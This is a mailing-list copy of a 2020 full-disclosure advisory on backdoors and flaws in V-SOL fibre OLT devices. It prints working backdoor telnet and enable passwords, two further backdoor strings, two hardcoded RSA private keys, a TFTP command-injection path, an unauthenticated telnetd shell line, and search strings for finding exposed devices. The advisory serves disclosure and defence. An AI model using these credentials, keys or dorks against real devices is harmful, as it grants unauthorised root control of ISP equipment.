Multiple vulnerabilities found in V-SOL OLTs

From: Pierre Kim <pierre.kim.sec () gmail com>
Date: Mon, 13 Jul 2020 14:45:52 +0100

```
Hello,

Please find a text-only version below sent to security mailing lists.

The complete version on "Multiple vulnerabilities found in V-SOL OLTs"
is posted here:
  https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html


=== text-version of the advisory  ===

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512


## Advisory Information

Title: Multiple vulnerabilities found in V-SOL OLTs
Advisory URL: https://pierrekim.github.io/advisories/2020-v-sol-0x00-olt.txt
Blog URL: https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
Date published: 2020-07-14
Vendors contacted: None
Release mode: Full-Disclosure
CVE: None yet assigned



## Product Description

The V-SOL OLTs are FTTH OLTs allowing to provide FTTH connectivity to
a large number of clients (using ONTs).
Some of the devices support multiple 10-gigabit uplinks and provide
Internet connectivity to up to 1024 ONTs (clients).

We validated the vulnerabilities against V1600D4L OLT in our lab
environment with the latest firmware versions (V1.01.49).

Using static analysis, these vulnerabilities also appear to affect all
available OLT models as the codebase is similar:

- - V1600D (V2.03.69 and V2.03.57)
- - V1600D4L (V1.01.49)
- - V1600D-MINI (V1.01.48)
- - V1600G1 (V2.0.7 and V1.9.7)
- - V1600G2 (V1.1.4)

We believe these models are also vulnerable:

- - V1600D2-L
- - V1600D2
- - V1600D4
- - V1600D4-DP
- - V1600D8
- - V1600D16
- - V1600G0


For explanation about FTTH architecture, you can check my previous
research at http://pierrekim.github.io/blog/2016-11-01-gpon-ftth-networks-insecurity.html
.



## Vulnerabilities Summary

The summary of the vulnerabilities is:
1. Backdoor Access with telnet
2. Enable Backdoor
3. Hardcoded RSA keys
4. Potential command injection
5. Code quality
6. Backdoor used for account creation
7. Backdoor specific to V1600D model
8. Insecure management interfaces


## Details - Backdoor Access with telnet

A telnet server is running in the appliance and is reachable from the
WAN interface and from the FTTH LAN interface (from the ONTs).

You can find below backdoor (undocumented) credentials, giving an
attacker a low-privilege CLI access.

    login: admin
    password: !j@l#y$z%x6x7q8c9z)


The credentials have been extracted from firmware images:

[please use the HTML version at
https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
to see the image]
Authentication process with hardcoded credentials


    $ telnet [ip]
    Trying [ip]...
    Connected to [ip].
    Escape character is '^]'.

    Hello, this is epon olt platform (version 1.00).
    Copyright 2010-2018,All Rights Reserved.


    User Access Verification

    Bad UserName or Bad Password , Login Failed.

    Please retry

    Login: admin
    Password: !j@l#y$z%x6x7q8c9z)
```

```
olt> list
  enable    Turn on privileged mode command
  exit      Exit current mode and down to previous mode
  help      Description of the interactive help system
  list      Print command list
  quit      Exit current mode and down to previous mode
  show      Show running system information
  terminal  Set terminal line parameters
  vty       Virtual terminal
  who       Display who is on vty
olt>
```

Details - Enable Backdoor

It is possible to elevate the privileges using the password `!j@l#y$z%x6x7q8c9z)` and to get a complete administrator CLI access:

```
olt> enable
Password: !j@l#y$z%x6x7q8c9z)
olt#
  clear      Reset functions
  configure  Configuration from vty interface
  copy       Copy configuration
  disable    Turn off privileged mode command
  end        Exit current mode and down to previous mode
  exit       Exit current mode and down to previous mode
  help       Description of the interactive help system
  ip         Global IP configuration subcommands
  list       Print command list
  no         Negate a command or set its defaults
  quit       Exit current mode and down to previous mode
  show       Show running system information.
  terminal   Set terminal line parameters
  vty        Virtual terminal
  who        Display who is on vty
  write      Write running configuration to memory, network, or terminal
olt#
```

With this access, an attacker can completely overwrite the configuration as well as the firmware.

[please use the HTML version at https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html to see the image]
Hardcoded Enable password

Details - Hardcoded RSA keys

The firmware images contain hardcoded RSA keys, used to provide SSL encryption for the web server.

V1600D4L and V1600D-MINI:

```
$ cat self.key
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDPca1RbgPDdqZ2n2mlPQ/s2IANv55GJhKF9CtkMIEpHEhbTixH
pcNE02oQoJFTK5EL21A3JftekVk3DCKK68ncIJAAWmzJp63QpEovZr9ySQubkk39
/+kHxsfkUmR3SldyLctaT+o7qAy4W/BM6tp00mXWKhFHerXmABf/vGt89QIDAQAB
AoGAe3cvLs4J02ZlASk0IziqpB7buFMaAqpaT/vZb5Im7a7lqdJHLIWOSQKDmE3Y
8OV3ONVZUtl6WPitXsQMMx7PTvCELDvNMGmGJ3lzOpE1zXl8vlh5QQzTfLZxjE1r
SfWXoYNUcV4uiOfXNgJaOBzz4l8W8CjE6TyDF0DD3WsdQMECQQDpTMo5VD9ifaoW
rlnahaaVTPyTyd7GQgO7jyXIdlZ+mL0G8xUF6CnIwlG3kG+6l4oLsAqpj2SIFOcn
rz/Zxq89AkEA46DZRloNL6hNEWZvL9dboqp/7f4sILItE6WfANsqM5oeIPAlT3ge
nYK5VwU2Jm4N3oaLq9fPfESWtAC/5FvgGQJAGcthuID2GR+nxKZSmvSX/H3slzKE
rQrzerNTDBz5Zznf/Hq34lVO+WGPEWqoz8qderlWFHVEOj+FZz/bIWr0SQJAJk6K
YhmDgJKtLZF0grOWW0CgONf+ax4xEc5cfNNlPbvg+CAUiKQpWs6GDEv3Oe5pbRpt
ZOTzqPEN/4rkwDRp+QJBAOZUwGwi3pHU8T9Kl5qRlEm/o+buRoc8hFyyv1CSmAWZ
uXFnRzbruUlQ6/lMF3MU7U4TTOD7tnhOVq1Ub+Rgnzs=
-----END RSA PRIVATE KEY-----
$ cat self.crt
-----BEGIN CERTIFICATE-----
MIICkDCCAfmgAwIBAgIJALvknsR/6Fr2MA0GCSqGSIb3DQEBBQUAMGExCzAJBgNV
BAYTAi4uMQswCQYDVQQIDAIuLjELMAkGA1UEBwwCLi4xCzAJBgNVBAoMAi4uMQsw
CQYDVQQLDAIuLjELMAkGA1UEAwwCLi4xETAPBgkqhkiG9w0BCQEWAi4uMB4XDTE4
MDcyNjA5MDEwMloXDTIxMDcyNTA5MDEwMlowYTELMAkGA1UEBhMCLi4xCzAJBgNV
BAgMAi4uMQswCQYDVQQHDAIuLjELMAkGA1UECgwCLi4xCzAJBgNVBAsMAi4uMQsw
CQYDVQQDDAIuLjERMA8GCSqGSIb3DQEJARYCLi4wgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAM9xrVFuA8N2pnafabU9D+zYgA2/nkYmEoX0K2QwgSkcSFtOLEel
w0TTahCgkVMrkQvbUDcl+16RWTcMIorrydwgkABabMmnrdCkSi9mv3JJC5uSTf3/
6QfGx+RSZHdKV3ItylpP6juoDLhb8Ezq2nTSZdYqEUd6teYAF/+8a3zlAgMBAAGj
UDBOMB0GA1UdDgQWBBTDWRDTYuzjtF3+rk0jaBTKRIMtXjAfBgNVHSMEGDAWgBTD
WRDTYuzjtF3+rk0jaBTKRIMtXjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUA
A4GBAJgxXbMJQYEXOvrP5PcCUkql6o5bt83x3xCkZ9+Yv7cnCRsRBAgXSMyorOM1
+Ttt3CSTNp5jwHcDhysth4V5/SSkJ46DkUmID2WzzxIjL82MOYAv/na6QTGNUAcz
7VLEX/QuBzS7jLczZ9WtOrgZOma2TjIZJOpT32guKZYeyL+r
-----END CERTIFICATE-----
```

V1600D, V1600G1 and V1600G2:

```
$ cat usr/sbin/self.key
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDQYaaee6igp8RpOXUq+82WUOXm8pSjIXBj6U9RRki9kLcu8vV/
80g/vdyPdartkhvG7tG5kJLSZ464+uDNbZpnEk4LZbN9vAY8rgmc/2SFYFYiKb82
bcKpV6e4EuCXc0VPC27zlywikVFHg2g9Dva6bnuPqXj+JRUNK/ER4PADTwIDAQAB
AoGAC0MblDjutjAbB2zZjkcpplQb+MlnhyGJh3zWkpfv2n7lx43OAupNHlTNlNtR
L6HT6n6ByzurE8AREKJOgAvKamqiyPM8kPZKFEeBqqDOhm3ZXOsjsS5okpzMR4H4
CHbJO8dmlsiM3fKG2UdrSGiwJw27wB1NRRcocQkcixIez9ECQQD5XTxUhe/CGPAF
AA4q8srNvkG5oRdleVLr6cyoEzbqwd3VnVHUzIn3fBYullT3pZUkNF9RrmFENPTA
Sf5P+DBtAkEAle05mYZLa8IJnlgvGlLZn8Mvwpy5fNuMrEqwtiWFn6naG8FIwosR
7FBdQWfUlCslu2dKSTx9n9x3tkV9w2zFKwJBANWrinJygcqzS5c9QOaUPCqnh/Hj
kxJZ7y+ummq6bCgkDkloDCJnUSD69pbdnTTGcVEgfzyiSz4CkmXiAUPMytECQE+c
YbQdgxHN+xBfVuAf9vb6hlgQQoMRnU882HhgjFK3vgBYNMCZSok7+whtIHIngHo2
XTHV/hYw0KgXQk8oulMCQQDJD7WusXmuND+PQp24/tl9d/FyhITHc/CDwsKN6tW0
8WfkCwMgDBqDiBtBd/S2gs6yJVpaP3HKE+Sl5cB4mPVK
-----END RSA PRIVATE KEY-----
$ cat usr/sbin/self.crt
-----BEGIN CERTIFICATE-----
MIICkDCCAfmgAwIBAgIJAOkwF33vgssHMA0GCSqGSIb3DQEBBQUAMGExCzAJBgNV
BAYTAi4uMQswCQYDVQQIDAIuLjELMAkGA1UEBwwCLi4xCzAJBgNVBAoMAi4uMQsw
CQYDVQQLDAIuLjELMAkGA1UEAwwCLi4xETAPBgkqhkiG9w0BCQEWAi4uMB4XDTE4
MDcyNzA4MTMxNVoXDTIxMDcyNjA4MTMxNVowYTELMAkGA1UEBhMCLi4xCzAJBgNV
BAgMAi4uMQswCQYDVQQHDAIuLjELMAkGA1UECgwCLi4xCzAJBgNVBAsMAi4uMQsw
CQYDVQQDDAIuLjERMA8GCSqGSIb3DQEJARYCLi4wgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBANBhpp57qKCnxGk5dSr7zZQ5ebylKMhcGPpTlFGSL2Qty7y9X/z
SD+93I9lqu2SG8bu0bmQktJnjrj64MlttmmcSTgtls328BjyuCZz/ZIVgVilpvzZt
wqlXp7gS4JdzRU8LbvQXLCKRUUeDaD0O9rpue4+peP4lFQ0r8RHg8ANPAgMBAAGj
UDBOMB0GA1UdDgQWBBQIoRN/VYOmUzwPXlHCZrZi4XPv4zAfBgNVHSMEGDAWgBQI
oRN/VYOmUzwPXlHCZrZi4XPv4zAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUA
A4GBABObY8gSse39BwzXtXnzSOpln0CIwjr3xI7nLvzGhf4Xooktf9zDTQBONOzh
eRjSLluVJl9kYIBY4j2Y5nbSwjaWD0Imaa6z5FBro0e3SyGq84tlZyFW8SijdFLC
jN04hXrqdov/ATL6QCaHlGzbPMG4KBiPfwAiiYVlRL3B0vJN
-----END CERTIFICATE-----
```

Detail - Potential command injection

It is possible to use TFTP to transfer some files:

```
upload tftp syslog <filename> <A.B.C.D>
upload tftp configuration <filename> <A.B.C.D>
```

This is vulnerable to a command injection, allowing to run commands as root.

The function starting the tftp process using system(3) will use the
argument provided by the attacker, as shown below:

[please use the HTML version at
https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
to see the image]
TFTP command injection

Detail - Code quality

In the firmware image of V1600D4L and V1600D-MINI, we can find the
following inside the `init.sh` script:

```
$ cat init.sh
#!/bin/sh
[...]
ifconfig eth0 0.0.0.0
ifconfig eth0 up
[...]

telnetd -l /bin/sh&
```

During the update, the script appears to start telnetd without authentication.

Backdoor used for account creation

The string `4ef9cea10b2362f15ba4558b1d5c081f` is being compared with
an input value in the function used to create new users.

The code will check if the user is `admin` or if the backdoor password
`4ef9cea10b2362f15ba4558b1d5c081f` is provided.

It appears it is being used to create admin users from non-admin users.

[please use the HTML version at
https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
to see the image]
Creation of new user, using a `backdoor` password

Due to time constraints, we did not study this backdoor in depth.

Backdoor specific to V1600D model

This backdoor appeared in version 2.03.69.

The string `K0LTdi@gnos312$` is being compared with the password
provided by the the remote attacker. If it matches, the access will be
provided.

[please use the HTML version at
https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
to see the image]
Authentication process with hardcoded credentials

Due to time constraints, we did not study this backdoor in depth.

Details - Insecure management interfaces

By default, the appliance can only be managed remotely with HTTP,
HTTPS, telnet and SNMP. Some devices may support SSH. Furthermore, SSL
is using hardcoded keys. An attacker can intercept passwords sent in
clear-text and MITM the management of the appliance.

Dorks

"Hello, this is epon olt platform (version 1.00)."
"Copyright 2010-2018,All Rights Reserved."

Vendor Response

Full-disclosure is applied as we believe some backdoors are
intentionally placed by the vendor.

Report Timeline

* Dec 29, 2019: Vulnerabilities found and this advisory was written.
* Jul 14, 2020: A public advisory is sent to security mailing lists.

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec) and
Alexandre Torres (@AlexTorSec).

References

https://pierrekim.github.io/advisories/2020-v-sol-0x00-olt.txt

https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html

Disclaimer

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEoSgI9MSrzxDXWrmCxD4O2n2TLbwFAl8MX4oACgkQxD4O2n2T
LbymnBAArmUCDEI/WHC5ch3lYfXxEhSZOTDll5GOD7osIixteXT67jCns5EGdhBJ
Lq66KLdjzG+60jhjlN/YHuZBupvF4ChtnTId/UYSjuvys8J17f6VweqsazxebYac
WOcmBwN9Tqw20BjhmqFf3y2qaQ6YpfbkuiPciddLTUTlOGvM8b0wuUDF2grb5KLT
cKJoFW//RaX9eQCZaB/5RoZIv06hZZSx293OijOfC5kRqoVex5FkhV1dEzA4PBIM
TV/lkYWnOxb6xO6GYwLFGq0xe4qVjd+En34ixgUMhBxsJAQ4HsNGInCgJZfitJKv
0GgNlP5FRtVU+T7kk0e+BmWl/vAmF3IbCEUacQoW08cahpiqHIJEIKzV+wdYrjlv
q40Ia8pUHwcFEe5UyWnl+yxTU2WslAZQCbXoD0FYrzN6AhgctyZR5kfotSjycGU5
GqxPV7j9HJqahf5rLutbF07onbOxXyU/YwLPx3kbHs3yJ68alXKZox5o0B3NT/BU
GEUlKnp5C2sZmNXMmdW7bh/MODIgAdK4vfjRgJP77QyHjCedltwqmEFTZ/fy5k+I
gMZCzi/EZhuOAoRximq7Qoxn3TvedmTorCtUrbClMEijQ8weuSxKCUK+joPGmkmv
I46u4GKyS2wmm+2DfQmxSXTZKX689YckXAihgr7bpSDk3yBz12w=
=DOib
-----END PGP SIGNATURE-----

--
Pierre Kim
pierre.kim.sec () gmail com
@PierreKimSec
https://pierrekim.github.io/

Current thread:

Multiple vulnerabilities found in V-SOL OLTs ***Pierre Kim (Jul 13)***